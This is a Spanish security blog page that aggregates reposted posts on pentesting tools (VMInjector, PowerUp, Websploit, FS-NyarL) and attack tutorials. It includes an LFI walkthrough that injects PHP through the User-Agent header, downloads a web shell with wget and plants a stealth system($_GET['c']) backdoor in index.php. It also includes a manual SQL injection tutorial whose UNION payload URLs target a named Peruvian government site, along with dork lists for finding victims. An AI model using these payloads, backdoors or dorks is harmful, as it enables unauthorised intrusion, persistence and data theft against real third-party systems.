Banner 1

Mostrando entradas con la etiqueta Penetration Test. Mostrar todas las entradas
Mostrando entradas con la etiqueta Penetration Test. Mostrar todas las entradas

Evadiendo la autenticación en máquinas virtuales con VMInjector

0 comentarios
Con VMInjector podremos saltar la autenticación en la mayoría de los Sistemas Operativos virtualizados con VMware Workstation y VMware Player.
Gracias a a esto podremos recuperar el control de una máquina virtualizada la contraseña de la cual hayamos perdido o bien ser usado en tests de intrusión en un eventual escenario donde se haya conseguido acceso completo al sistema operativo principal y se quiera acceder a la información contenida en las máquinas virtuales.
vmware-workstation-logo

¿Qué es y cómo funciona VMInjector?

VMInjector es un script escrito en Python por Marco Batista con licencia GPLv3 cuya misión es la de hacer un bypass del login de nuestro Sistema Operativo virtualizado mediante la inyección de una DLL (vminjector32.dll o vminjector64.dll) en un proceso de VMware.

VMware maneja todos los recursos de las máquinas virtuales, incluido la memoria RAM. Al inyectar la DLL en el proceso de VMware correspondiente a la máquina virtual esta consigue acceso a todos los recursos de esta, pudiendo manipular su RAM y parcheando la función que se encarga de la autenticación, permitiendo así conseguir acceso sin credenciales en el Sistema Operativo virtual.

Acceder a un Sistema Operativo virtual sin contraseña

Para usar VMInjector necesitaremos cumplir los siguientes requisitos:
  • Una máquina principal con Sistema Operativo Windows y permisos de administrador en el mismo.
  • Python  y psutil  instalados.
  • VMware Workstation o VMware Player instalado.
  • Una máquina virtual a la que no podamos acceder por falta de creden
    ciales.
Con todos los requerimientos previos cumplidos descargamos VMInjector y lo descomprimimos donde nos plazca.

Antes de ejecutar el script debemos arrancar la máquina virtual y dejarla a la espera de usuario y contraseña. Ejecutamos un terminal (importante que sea con permisos de administrador o nos encontraremos con un bonito: “IndexError: list index out of range”), nos dirigimos al directorio previamente descomprimido y ejecutamos el script “vminject.py”.

Captura de pantalla de VMInjector 1

El script nos preguntará por el proceso concreto al que le queremos inyectar la DLL. Seleccionamos el proceso correspondiente a la máquina virtual en cuestión y pulsamos Enter.

Captura de pantalla de VMInjector 2

Seleccionaremos la versión del Sistema Operativo virtualizado y pulsamos Enter. Si nos muestra un mensaje diciendo: “Found Signature Match” querrá decir que hemos indicado correctamente la versión del Sistema Operativo y que podemos continuar correctamente.

Al volver a pulsar Enter nos encontraremos con una pantalla parecida a esta:

Captura de pantalla de VMInjector 3

Una vez realizado este proceso nos dirigimos a nuestro VMware y en la prueba realizada, con un sistema guest Windows 7, con tan solo pulsar Enter en el campo de password, directamente saltaremos al Escritorio del usuario deseado sin la necesidad de haber introducido clave alguna y permitiéndonos recuperar el control de esta.

La inyección no es permanente, al reiniciar la máquina virtual dicho proceso dejará de tener efecto a no ser que se vuelva a ejecutar el script.

Visto en hackplayers.com.

Fuente: 
http://sobrebits.com/evadiendo-la-autenticacion-en-maquinas-virtuales-con-vminjector/

Links:
www.hackplayers.com/2013/02/vminjector-evadir-autenticacion-maquinas-virtuales.html

Pengodroid: Repositorio de herramientas de seguridad para Android

0 comentarios
PengoDroid es una suite de seguridad completa para Android que nos permite realizar completas auditorías de seguridad fácilmente. PengoDroid dispone de un total de 100 aplicaciones especialmente diseñadas para todo tipo de tests y análisis.
PengoDroid dispone de todo tipo de aplicaciones desarrolladas especialmente para la seguridad informática. Entre otras, las aplicaciones que encontraremos:
  • Analizadores de red
  • Auditorías WiFi
  • Navegación anónima
  • Seguimiento de paquetes
  • Aplicaciones de seguridad (antimalware, firewalls, etc)
  • Emuladores de Android
pengodroid_pack_aplicaciones_android_foto

Todas las aplicaciones de PengoDroid han sido descargadas desde las páginas oficiales de los desarrolladores y añadidas sin modificar al pack de descarga (en formato ISO). Algunas aplicaciones son complicadas de obtener ya que los desarrolladores han abandonado el proyecto y están descontinuadas, sin embargo, son aplicaciones totalmente útiles que cumplen perfectamente con su cometido.

La forma de uso de estas herramientas de seguridad es muy sencilla. Lo primero que debemos hacer es descargar el paquete de aplicaciones desde la página web del proyecto y extraerlo en una carpeta de nuestro sistema. Una vez extraído simplemente tenemos que copiar los archivos .apk de las aplicaciones que queremos instalar en nuestro smartphone e instalarlas como otras aplicaciones externas a una tienda desde “Orígenes de software”.

Los desarrolladores de PengoDroid llevan ya bastante tiempo con un pack de aplicaciones similar especialmente diseñado para ordenadores convencionales llamado PengoWin que permite a los usuarios de Windows realizar completas auditorías de seguridad desde sus ordenadores convencionales sin necesidad de utilizar un smartphone o tablet para ello.


¿Qué te parece este pack de aplicaciones de seguridad para Android? ¿Conoces otros recopilatorios de herramientas de seguridad similares?

Fuente:
http://www.redeszone.net/2014/05/12/pengodroid-pack-de-herramientas-de-seguridad-para-android/

Links:
http://www.securitybydefault.com/2014/05/pengodroid-repositorio-de-herramientas.html
http://droidpanic.com/pengodroid-un-repositorio-de-herramientas-de-seguridad/
http://www.sniferl4bs.com/2014/05/pengodroid-la-suite-all-in-one-de.html

Explotar LFI, Subir Shell Explotando /proc/self/environ y Backdorizar

0 comentarios
Leyendo el Post de CalebBuker sobre LFI atrasves de php://input decidí hacer un tutorial de otro método para conseguir subir una shell por medio de LFI utilizando inyecciones php a través de una vulnerabilidad en el /proc/self/environ Empecemos:

Primero Buscamos con un dork alguna web Vulnerable a LFI

Dork:

inurl:*.php?page=* site:.com.ar

Vamos probando hasta encontrar una q al incluir /etc/passwd nos muestra su contenido
En este caso:

http://sitiovulnerable/index.php?page=/etc/passwd



Damos como parametro a incluir /proc/self/environ y vemos el siguien resultado

http://sitiovulnerable/index.php?page=/proc/self/environ




Nos vamos a Mozilla Firefox y abrimos el addon Tamper Data:

Damos clik en Start Tamper y volvemos a realizar la Peticion al sitio web

Atrapa el Primer "paquete" y nos sale el siguiente cartel



Desactivamos la casilla "Continue Tampering" y Damos Click en Tamper, modificamos el Parametro User-Agent intrudiciendo algun Codigo php, de Prueba, Yo intentare con para ver si logramos listar el contenido de host.



Damos Click en OK y vemos q el codigo php se ejecuta correctamente y lista los archivos y directorios de la web Vulnerable:



Ahora Sabemos que se puede ejecutar Codigo Shell atraves de php con el comando system,exec,etc (si no funcionace reciviriamos un mensaje diciendo q la funcion system() a sido deshabilitada por razones de seguridad)

Subiremos Nuestra Shell, de la siguiente forma.

Abriremos Tamper Data y comensaremos a Capturar.
Repetiremos la Peticion al host:
http://sitiovulnerable/index.php?page=/proc/self/environ
Modificaremos el Parametro User-Agent para que ejecute Wget y descarge una shell en txt de donde sea que este alojada con el siguiente codigo php





Repetimos la Operacion Con Tamper Data y Comprobamos q nuestra shell se subio correctamente pasando como parametro en User-Agent


Vemos que dentro de la lista de archivos del host aparece nuestra shell



Convertiremos Nuestro txt, en un archivo php, repitiendo la operacion con Tamper Data y pasando como Parametro de User-Agent


Una ves Hecho Esto repetimos el procedimiento con tamper data para listar nuestros archivos, para ver si el proceso anterior Termino Correctamente:




Como vemos el archivo fue Renombrado Correctamente, solo nos queda vistar nuestro archivo por medio de la URL

http://sitiovulerable/s.php



Como vemos la ejecucion de la shellphp, se ejecuto Correctamente. Como es un Sitio Importante y no queremos q nos detecten, introduciremos un backdoor dentro del codigo de algun archivo, yo elegi index.php




Les Dejo el code del backdoor q arme:

if($_GET['active']=='si'){
system( $_GET['c']);
}
?>

Lo Introduciremos dentro de index.php y al llamarlo desde

http://SutioVulnerable/index.php?c=ls&active=si

nos mostrara el resultado de la ejecucion del parametro q pasemos.




Solo nos queda Eliminar s.php con el comando rm s.php por medio de nuestro backdoor

http://SutioVulnerable/index.php?c=rm s.php&active=si

Listamos el Contenido del Host

http://SutioVulnerable/index.php?c=ls&active=si

y vemos q s.php ha desaparecido.




Espero que este tutorial les halla servido, HD_Breaker

Renuncia: No me hago Responsable del Uso que le den a este tutorial, su contenido es puramente educativo

Fuente: http://hdbreaker96.blogspot.com/2012/07/explotar-lfi-subir-shell-explotando.html

Herramienta de pentesting para escalar Privilegios en Windows: PowerUP

0 comentarios
 Bien una vez dicho esto, hoy vengo a presentaros una herramienta de pentesting llamada PowerUp bajo licencia GNU, herramienta de PowerShell para ayudar con la elevación local de privilegios en los sistemas Windows. Dicha herramienta nos permite encontrar métodos y servicios vulnerables y poder abusar de estos,  así como "secuestro" de DLL, configuraciones de registro vulnerables y sobre todo y más importante las posibilades de escalabilidad de privilegios dentro del sistema, la herramienta ha sido desarrollada por @harmj0y , el código de la herramienta esta aquí.
Bien vamos a explicar los distintos métodos de los cuales se compone esta herramienta:
Para probar la herramienta necesitamos el código, el cual se encuentra aquí:


Lo primero que necesitaremos hacer es copiar todo el código en nuestro PowerShell, de la siguiente manera:  


  1. Para los que no sepan como lanzar PowerShell o Instalarlo etc, aqui hay un manual de cómo utilizarlo, solo necesitareis leer de la pg 12 a la 13 para poder seguir esto, aunque os recomiendo que saquéis tiempo para leerlo entero ;-)  
  2. Bien una vez llegados a este punto en el que tengáis el PowerShell lanzado , solo tendremos que copiar todo el código en la consola de PowerShell  tal que así:  
  3. Una vez introducido todo el código de la herramienta podemos empezar a ver los distintos métodos en los que se compone: 


Service Enumeration:

  • Get-ServiceUnquoted: está función encuentra todos los servicios no cotizados, que también tienen un espacio (es decir, el modulo trusted_service_path.rb MSF). Si tienen algun servicio que hace referencia a algo como C:\Herramientas\Herramientas Personalizadas\estacioninformatica.exe, y tiene acceso de escritura al directorio base C:\Herramientas\, dejando caer un ejecutable a C:\Herramientas\herramientas.exe lo podrás ejecutar en ese programa, en vez del servicio original. Esto es debido a la ambigüedad de algunas funciones de la API de windows a las que hace referencia.
  • Get-ServiceEXEPerms: esta función busca todos los servicios en los que el usuario actual tiene permisos de escritura. Si se sustituye uno de estos ejecutables nos permitira secuestrar un servicio actual
  • Get-ServicePerms: esta función enumera todos los servicios disponibles para abrir el servicio
     para su modificación. Podremos cambiar la ruta binaria como por ejemplo
     "net user password backdoor/add" y posteriormente reiniciar el servicio.
     

    Service Abuse:

  • Invoke-ServiceUserAdd: esta función detiene un servicio, lo modifica, lo inicia, lo detiene y a continuación restaura la ruta original exe, es decir, permite abusar de todo lo que se encuentra en "Get-ServicePerms". Podremos detener un servicio, modificarlo para crear un usuario y añadirlo al grupo de administradores locales y reiniciamos el servicio, y se restaura la ruta binaria del servicio original
  • Write-UserAddServiceBinary: esta función toma un precompilado C# ejecutable, servicio y parches binarios con el nombre del servicio, nombre de usuario, contraseña, nombre del grupo para agregar, a continuación,  el binario a la ubicación especificada, es decir, nos permite secuestrar servicios de "Get-ServiceUnquoted", necesitaremos un servicio de C# precompilado y los parches binarios con el nombre del servicio, le metemos el usuario/contraseña y grupo y cuando se ejecute, el binario creara el usuario con los parámetros establecidos.
  • Write-ServiceEXE: esta función invoca "WtireServicePSBinary" reemplaza el binario para el servicio "VulnSVC" por uno que añade un usuario local con contraseña y el grupo administrador, es decir, se puede utilizar para abusar de binarios vulnerables que se encuentren en "GET-ServiceEXEPerms". Respaldaremos el exe para un servicio establecido, después utilizaremos "Write-UserAddServiceBinary" para reemplazar el ejecutable con uno que crea y agrega un administrador local.
  • Restore-ServiceEXE: esta función restaura la copia de seguridad original del archivo por la ruta del servicio manipulado, la cual devolverá true si se realizo correctamente o false en caso contrario. Con Restore-ServiceEXE podremos restaurr el ejecutable original

DLL Hijacking:

  • Invoke-FindDLLHijack: esta función comprueba todos los módulos cargados para cada proceso, y devuelve lugares donde no existe un modulo cargado en la ruta de la base ejecutable, es decir, busca servicios con posibles oportunidades de secuestro dll, si una carpeta de la norma %PATH% tiene permisos de escritura por el usuario actual pe: \Python27, podremos colocar un archivo DLL malicioso en determinados lugares para escalar privilegios.


  • Invoke-FindPathDLLHijack:  esta función comprueba si el PATH actual contiene cualquier directorio con permisos del usuario actual. Si existe, se puede escribir, entonces comprueba la versión de Windows y envía un servicio hijackable para la versión de windows correspondiente.

Registry Checks:

  • Get-RegAlwaysInstallElevated: esta función comprueba si la clave del registro  " AlwaysInstallElevated" está habilitada, es decir,  verificara el registro de windows para la clave AlwaysInstallElevated, si se encuentra habilitada, los instaladores MSI siempre se ejecutaran con privilegios elevados. hay un modulo de Metasploit llamado:  " always_install_elevated.rb" que explota este mismo comportamiento, "Write-UserAddMSI" que escribirá un archivo instalador MSI que cuando se ejecuta, pide una cuenta de usuario para añadir al grupo de administradores locales.
  • Get-RegAutoLogon: esta función comprueba las credenciales de sesión automática en el registro "DefaultUserName/DefaultPassword", es decir, comprobara si se ajusta la clave del registro "AutoAdminLogon", y procederá a sacar las credenciales en texto plano.

Misc. Checks:

  • Get-UnattendedInstallFiles: esta función comprueba ubicaciones de instalaciones desatendidas para obtener un archivo con credenciales de despliegue, es decir, comprobara la existencia de varios archivos desatendidos sobrantes, que suelen tener las credenciales administrativas en texto plano.

Helpers:

  • Invoke-AllChecks: esta función ejecuta todas las funciones que comprueban todas las opciones de escalar privilegios del sistema, es decir, chequeara todo y nos mostrara un informe con las opciones de escalar disponibles.
  • Write-UserAddMSI: esta función escribe un instalador MSI precompilado que solicita usuario/grupo. Esta función se puede utilizar para abusar Get-RegAlwaysInstallElevated.
  • Invoke-ServiceStart: esta función inicia un servicio especificado, permitiendo marcarlo como deshabilitado.
  • Invoke-ServiceStop: esta función para un servicio especificado, el cual nos devolverá verdadero si la función tuvo éxito o falso en caso contrario.
  • Invoke-ServiceEnable: invoca un servicio y lo habilita.
  • Invoke-ServiceDisable: esta función deshabilita/desactiva  un servicio especificado 
  •  Get-ServiceDetails: obtiene información detallada acerca de un servicio



Como podéis observar nos brinda grandes oportunidades y si le damos juego con la herramienta Pyinstaller podremos hacer grandes cosas, bien esta primera entrada es una introducción para poder centrarnos posteriormente detalladamente en cada funcionalidad de dicha herramienta con casos prácticos. Espero que os guste la herramienta y  trasteéis con ella. 
 


Aquí os dejo un libro y un artículo interesantes:
Bien antes de acabar volver a agradecer a @n0ipr0cs esta oportunidad muchas gracias ;-)

Un saludo desde el CPD (^_-)

Fuente: http://www.estacion-informatica.com/2014/05/herramienta-powerup.html

FS-NyarL Pentesting & Forensics Framework (ingles)

0 comentarios

http://www.ehacking.net/2014/05/fs-nyarl-pentesting-forensics-framework.html
Automatic tools have made the penetration testing process more efficient and effective, although the importance of manual test are still there and in most of the cases manuals checks are required. But in the mean time we cannot deny the advantages of automatic tool, yes it save a loads of time and energy off course. You must have heard about the most famous vulnerability assessment & penetration testing tool like Nessus & Metasploit but in this article I will discuss FS-NyarL.

NyarL it's Nyarlathotep, a mitological chaotic deity of the writer HP. Lovecraft's cosmogony.
It's represent Crawling Chaos and FS-NyarL it's The Crawling Chaos of Cyber Security :-)
A network takeover & forensic analysis tool - useful to advanced PenTest tasks & for fun and profit - but use it at your own risk!
  • Interactive Console
  • Real Time Passwords Found
  • Real Time Hosts Enumeration
  • Tuned Injections & Client Side Attacks
  • ARP Poisoning & SSL Hijacking
  • Automated HTTP Report Generator 

ATTACKS IMPLEMENTED:

  • MITM (Arp Poisoning)
  • Sniffing (With & Without Arp Poisoning)
  • SSL Hijacking (Full SSL/TLS Control)
  • HTTP Session Hijaking (Take & Use Session Cookies)
  • Client Browser Takeover (with Filter Injection in data stream)
  • Browser AutoPwn (with Filter Injection in data steam)
  • Evil Java Applet (with Filter Injection in data stream)
  • Port Scanning 

POST ATTACKS DATA OBTAINED:

  • Passwords extracted from data stream
  • Pcap file with whole data stream for deep analysis
  • Session flows extracted from data stream (Xplico & Chaosreader)
  • Files extracted from data stream
  • Hosts enumeration (IP,MAC,OS)
  • URLs extracted from data stream
  • Cookies extracted from data stream
  • Images extracted from data stream
  • List of HTTP files downloaded extracted from URLs 



DEPENDENCIES (aka USED TOOLS):
  • Chaosreader (already in bin folder) 
  • Xplico 
  • Ettercap 
  • Arpspoof 
  • Arp-scan 
  • Mitmproxy 
  • Nmap 
  • Tcpdump 
  • Beef 
  • SET 
  • Metasploit 
  • Dsniff 
  • Macchanger 
  • Hamster 
  • Ferret 
  • P0f 
  • Foremost 
  • SSLStrip 
  • SSLSplit 
Download & Tutorial
- See more at: http://www.ehacking.net/2014/05/fs-nyarl-pentesting-forensics-framework.html#sthash.Vs2OSeXP.dpuf

Fuente: http://www.ehacking.net/2014/05/fs-nyarl-pentesting-forensics-framework.html

Tools: BTS PenTesting Lab

0 comentarios
BTS PenTesting Lab es una aplicación vulnerable que ayuda a aprender temas básicos de seguridad, que podrás aprender?:

SQL Injection 
XSS 
CSRF 
Clickjacking 
SSRF 
File Inclusion 
Command Execution 

Source: http://code.google.com/p/bts-pentesting-lab/
Fuente: http://www.r00tsec.com/2013/12/tools-bts-pentesting-lab.html

ParameterFuzz - Auditando una página web.

0 comentarios
Hola a todos!

ParameterFuzz v1.2.1 es una aplicación de Germán Sánchez Gárces donde tendréis dos métodos de realizar las peticiones, GET y POST y dos idiomas español e ingles.


Con esta aplicación podemos auditar páginas Webs con el método del Fuzzing, fuerza bruta, también tenemos diccionarios con parámetros e inyecciones.
Otra opción destacada es la posibilidad de ver la petición que hemos enviado con dicho botón de petición.


Otras opciones como el puerto que queramos y analizar el código fuente.


Features:
  1. Dictionary attacks to parameters and folders
  2. Manual and automatic attacks to web applications
  3. Browse the source code viewing
  4. View logs of results
  5. Encoder/Decoder tool
  6. Spidering attacks
  7. Leaks detection
  8. SQL Injection detection
  9. Changes in the HTTP headers
  10. Extract valid parameters of the source code
  11. imagination...¿?

La aplicación es totalmente gratuita y la podéis descargar en el siguiente enlace:

Proyecto:
https://code.google.com/p/parameterfuzz/

Fuente:
http://www.estacion-informatica.com/2012/10/parameterfuzz-v121.html

WEBSPLOIT

0 comentarios
Buenas, hoy hablaremos de una de las muchas herramientas dedicadas a la explotación de vulnerabilidades y ataques en red. La tool en cuestión se llama Websploit, está incluida tanto en Kali Linux como en su antecesor Backtrack y también se puede descargar desde la web oficial del proyecto para instalarla en cualquier otra distribución de Linux.

Websploit contiene un total de 16 módulos divididos en módulos web, módulos de red, módulos de explotación y módulos wifi. Para realizar el ataque deseado solamente hay que cargar el módulo en cuestión, establecer los valores necesarios para el mismo y ejecutarlo. Como podéis ver, todos ellos son ataques que se pueden realizar manualmente desde otras herramientas. La ventaja de este framework es, sin duda alguna, la automatización de las tareas, sin necesidad de conocer que herramientas hay que utilizar para cada uno de ellos. Su utilización es muy sencilla y cuenta con un entorno similar al de Metasploit Framework, siendo sus comandos principales “show”, “use”, “set” y “run”




Módulo Network - Webkiller
Como su propio nombre indica, el módulo “network/webkiller”, se encargar de matar las conexiones con destino a una web concreta. Solamente hay dos parámetros configurables, la interfaz de red y el dominio a bloquear el acceso.  Al ejecutarlo se nos abrirá la herramienta tcpkill, desde la que podremos ver todas las conexiones que va detectando y matando, pudiendo saber así, la IP de origen que solicita la web en cuestión.


Módulo Network - MiTM
En una herramienta como esta, no podía faltar un módulo para realizar ataques Man In The Middle (network/mitm). A parte de ejecutar el archiconocido ataque para que todo el tráfico de un equipo o red pase por nosotros, incorpora la posibilidad de usar los siguientes sniffers:
  • Dsniff: Sniff all passwords
  • Msgsnarf: Sniff all text of victim messengers
  • Urlsnarf: Sniff victim links
  • Drifnet: Sniff victim images
Para configurarlo, simplemente deberemos indicarle la IP del router y target, indicar si queremos usar SSLStrip y escoger cual de los sniffers anteriores deseamos ejecutar junto al ataque MiTM. Como punto negativo en este módulo, he de decir que no permite hacer uso de varios sniffers simultáneamente, por lo que si deseamos ejecutar varios simultáneamente, deberemos hacerlo nosotros de forma manual. En este ejemplo con urlsnarf, el equipo (10.0.0.14) solicita el dominio google.es y en el log de la herramienta podemos ver todas las peticiones que hace.



Módulo Exploit - Java Applet
No podía faltar un módulo para los famosos Applets de Java. En este caso, la herramienta monta un apache con una web en blanco y el applet de java incrustado en la página. Para que el ataque sea efectivo deberíamos modificar un poco el archivo html para convencer al usuario de que debe ejecutar el applet así como buscar un método para que este acabe en nuestra web. Una de las maneras más sencillas sería mediante un ataque DNS Spoofing, redireccionando al usuario hacia nuestro apache.
Al igual que el resto de módulos su configuración es extremadamente sencilla, siendo la interfaz, local host y nombre del creador del applet los únicos parámetros a configurar. Una vez preparado y ejecutado, carga metasploit para llevar a cabo el ataque y nos facilita la URL a la que debemos redirigir al usuario.

Cuando se haya ejecutado el applet, veremos en la shell la conexión del usuario hacia nuestro equipo y mediante el comando “sessions -i” podremos ver todas las sesiones abiertas o  interactuar con alguna de ellas.


Como ya se ha comentado durante el post, se trata de una herramienta amigable y sencilla aunque limitada por los escasos módulos incorporados. Esperemos que en futuras versiones amplíen sus funciones o, por lo menos, permitan añadir módulos de una forma sencilla.

Fuente:http://www.securitybydefault.com/2013/07/descubriendo-websploit.html

Repositorio de herramientas de pentest para android.

0 comentarios
Buenas tardes.

Anteriormente publique varios post sobre herramientas para hacking usando android, ahora les dejo un repositorio completo de herramientas para pentest, aunque comparten la misma funcionalidad este me pareció mas organizado por ende mejor lo publique:

http://adbtoolkit.com/apps/apk/pentest/#.U3-vfvl5PjU

Que lo disfruten!.

Saludos roboticos.

(Tutorial) Aprendiendo Inyeccion SQLi Manualmente

0 comentarios
Mucho se ha hablado y practicado , pero me gusto lo ordenado del post que encontré así que decidí compartirlo.

 
Muy buenas lectores, en esta ocasión demostrare como realizar una Inyección SQLi manualmente ya que para empezar en este mundo de las inyecciones SQL siempre eh recomendado  leer mucho sobre SQL. ya que así estaremos entendiendo que es lo que estamos realizando, en esta ocacion solo me enfocare en las Inyecciones pero si recomiendo que lean mucho sobre SQL y  también es recomendable  saber un poco de php. como dije anteriormente esto es para que vayamos entendiendo que es lo que se esta realizando. a continuación les dejare unos links que me sirvieron mucho para entender sobre SQL.

Aprendiendo SQL:

[+]Curso Online desde Cero:
http://deletesql.com/viewforum.php?f=5&sid=d1e83162086bba74714bd722cbb0d6a7
Vídeos:
https://www.youtube.com/channel/UCLnBUirMKBZ_4s8tTQyQuvg/videos

[+]Otros vídeos que me sirvieron mucho y muy bien explicados. (Recomendado)

1-video:
https://www.youtube.com/watch?v=wKxYUYb1pQ4
2-video:
https://www.youtube.com/watch?v=Eme7qBzigJQ
3-video:
https://www.youtube.com/watch?v=AA4jk_Oa5yw
4-video:
https://www.youtube.com/watch?v=j25hmvG4zPc


Aprendiendo PHP:
http://www.phpya.com.ar/
Videos:
https://www.youtube.com/watch?v=JNbTvInths0

Como dije anteriormente recomiendo primero aprender lo antes publicado, así que a continuación aprenderemos como realizar una simple inyección SQL de un portal del Gobierno del Perú ya que estos la mayoría tienen esta vulnerabilidad y son constantemente explotado. ya que están mal programados con muchos fallos. así que nuestro primer paso sera buscar por medio de una DORK estos tipos de fallos. para los que se preguntan que son las Dorks aquí os dejo mas info:

¿Que es Inyección SQL?

Según OWASP: Un ataque de inyección SQL consiste en la inserción o "inyección" de una consulta SQL a través de los datos de entrada del cliente a la aplicación. El éxito de vulnerabilidad de inyección SQL puede leer los datos sensibles de la base de datos, modificar los datos de base de datos (Insertar / Actualizar / Borrar), ejecutar operaciones de administración de la base de datos (por ejemplo, apagar el DBMS), recuperar el contenido de un presente determinado archivo en el archivo de DBMS sistema y, en algunos casos para ejecutar comandos del sistema operativo. Ataques de inyección SQL son un tipo de ataque de inyección, en el que comandos SQL se inyectan en la entrada de datos plano con el fin de efectuar la ejecución de comandos SQL predefinidas.

Bueno antes de empezar, algo que tenemos que saber es que:
La información esta en la columna & la columna están en las tablas y las tablas están en la base de datos. Solo recuerda eso y después todo se te hará fácil de entender.

¿Que es una Dork?

Podríamos definir Dorks como búsquedas avanzadas mediante el uso de operadores complejos que google pone a nuestra disposición, mediante el uso de estas facilidades podemos ahorrarnos el trabajo de buscar vulnerabilidades y dejar que google nos muestra las que encontró y tiene indexadas.

Aquí algunas Dorks para que se den una idea ya que mas adelante ustedes mismos podrán armar sus propias Dorks.

inurl:noticias.php?id= 

inurl:inicio.php?id= 
inurl:evento.php?id= 
inurl:producto.php?id= 
inurl:sql.php?id= 
inurl:nuevos.php?id= 
inurl:biblioteca.php?id= 
inurl:humor.php?id= 
inurl:acerca.php?id= 
inurl:galerias.php?ogl_id= 
inurl:index.php?id= 
inurl:comunicacion.php?id= 
inurl:detalles.php?id= 
inurl:categoria.php?id= 
inurl:noticia.php?id= 
inurl:paginas.php?id= 
inurl:faq2.php?id= 
inurl:documentos.php?id= 

Estas las utilizaremos para encontrar paginas vulnerables a este tipo de fallos. así que manos a la obra.

1- El primero paso sera buscar nuestra pagina vulnerable para eso tenemos que ir a san www.google.hn
y es ahí donde vamos armar nuestra DORK. en esta ocacion utilizaremos una con 1 palabra no muy común seria algo así:  Inurl:destacados.php?id= se preguntaran que es y por que ponemos Inurl:

¿Que es Inurl:?

El prefijo inurl: (significa en url) te sirve para indicar que buscas páginas que contengan una palabra concreta en la URL. Fíjate que es algo diferente al ejemplo anterior porque busca la palabra en cuestión en cualquier parte de la URL:

una ves realizado nuestra dork en google nos tendría que quedar así como en la imagen a continuación donde miraran todas las paginas con esa ID.
Como vemos nos tiro un total de 2,350 paginas con esa ID es ahí donde tendremos que ir probando 1 por 1 para dar con la web que tenga la vulnerabilidad de SQL inyección, también les quiero decir que NO todas son vulnerables. Bueno seguimos en mi caso como les dije anteriormente usaremos una pagina del gobierno de peru, para buscar un dominio en especial vamos a agregar a nuestra DORK un simple prefijo que nos ayudara para dar con las paginas con un dominio en especial el que nosotros queramos. en este caso utilizaremos el prefijo "SITE:" quedando así nuestra DORK: "Inurl:destacados.php?id= Site: gob.pe"
Si bien miran nos arroja un portal del Gob. de ese país con el dominio gob.pe  en este caso le damos click al primer enlace. una ves dentro de la pagina nos enfocaremos siempre en la url en este caso seria la siguiente.

http://www.osinfor.gob.pe/portal/destacados.php?id=8  

Es desde aquí que empezaremos a realizar la inyección a este portal, para saber si es vulnerable a la inyección solo tenemos que quitar el numero que sale después "=" en este caso seria el numero 8 y reemplazarlo con una simple comilla donde nos tiene que tirar un error de "Sintaxis" algo parecido a esto:

Es aquí donde ya sabemos que tiene el típico error SQLi y es una Web vulnerable a una inyección.

2-Una ves que ya sabemos que tenemos una web vulnerable lo siguiente sera buscar las columnas que tiene dicho portal y se preguntaran como lo hacemos?

Buscando Columnas:

Añadimos un (+ORDER+BY --) y vamos aumentando los números por ejemplo:
 (+ORDER+BY+1--) y hacemos un alto cuando nos aparezca un error

http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+1-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+2-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+3-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+4-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+5-- (Sin error)
http://www.osinfor.gob.pe/portal/destacados.php?id=8+ORDER+BY+6-- ( Con error)
3- Si bien miran el error lo tiro en el numero por que no hay columna "6" esto quiere decir que este portal solo tiene 5 columnas, luego cuando ya sabemos cuantas columnas tiene dicho portal lo siguiente que haremos sera usar 3 sentencias que son ( UNION+ALL+SELECT )  mas las columnas que tiene el portal y quedaría de la siguiente manera.

http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1,2--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1,2,3--
http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,1,2,3,4--

Si observan bien eh puesto un guion "-" antes del numero "8"

y hemos llegado hasta la columna 4 ya que es esa columna la que es vulnerable y nos arroja unos números como lo verán en la siguiente captura.
4- Cuando ya sepamos que tenemos columnas inyectables el siguiente paso seria averiguar la versión del MYSQL esto es muy importante saber en que versión estamos trabajando ya que si el portal tiene una versión arriba de 5 quiere decir que podemos trabajar bien pero si nos tira que esta en versiones mas antiguas es ahí que tendríamos que hacer otras inyecciones eh ir averiguando y caneando las tablas que podría tener dicho portal, algo similar como una inyección a ciegas.

Bueno para conseguir la versión del MYSQL tendremos que inyectar el comando "@@version o version()"  a una de las columnas vulnerables que nos arrojo el portal en este caso nos tiro el 1 & 4 en mi caso lo haré en la 1 quedando de la siguiente manera:

http://www.osinfor.gob.pe/portal/destacados.php?id=-8+union+all+select+0,@@version,2,3,4--

y si miramos en la captura nos tiro que esta arriba de la versión 5 esto quiere decir que en este portal no tendremos problemas en andar averiguando las tablas ya que nos la va a tirar fácil.

5- El siguiente paso sera conseguir las tablas lo que mas nos interesa en este caso para esto lo que tenemos que hacer es lo siguiente elegir la misma columna inyectable en este caso yo escogí la columna 1 y le inyectaremos las siguientes sentencias " group_concat(table_name) " y al final de las columnas le inyectaremos las siguientes sentencias " +from+information_schema.tables--+ " quedando así la inyección:

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,group_concat(table_name),2,3,4+from+information_schema.tables--+

y el portal nos tendrá que arrojar todas las tablas de la siguiente manera como se nos muestra en la siguiente captura.!

como miran nos arrojo todas las tablas, si le damos para el lado derecho miraremos las demás tablas que nos arrojo, pero en lo personal a mi no me gusta que me tire las tablas en Horizontal se mira feo :s no.? bueno para que podamos ver las tablas vertical que se mira mucho mejor tenemos que inyectar otras sentencias en este caso usaremos " replace( " al principio de la sentencia " group_concat " y inyectaremos un código en Hexadecimal el cual seria este: " 0x2C,0x3C62723E " y si desencryptamos este código Hexadecimal nos va arrojar el siguiente código en html que seria " , " si sabemos un poco de HTML sabremos que hace dicho código bueno seguimos ese código hexadecimal lo tendremos que poner al final de:" table_name " quedando nuestra inyección de la siguiente manera.

http://www.osinfor.gob.pe/portal/destacados.php?id=-1+union+all+select+0,replace(group_concat(table_name),0x2C,0x3C62723E),2,3,4
+from+information_schema.tables--+

y en el portal  nos tiene que mostrar de la siguiente manera las tablas mucho  mas chulas :) quedando así:
Si  miran en la captura nos tira tablas del MYSQL que vienen por default y son muy molestas las cuales son:

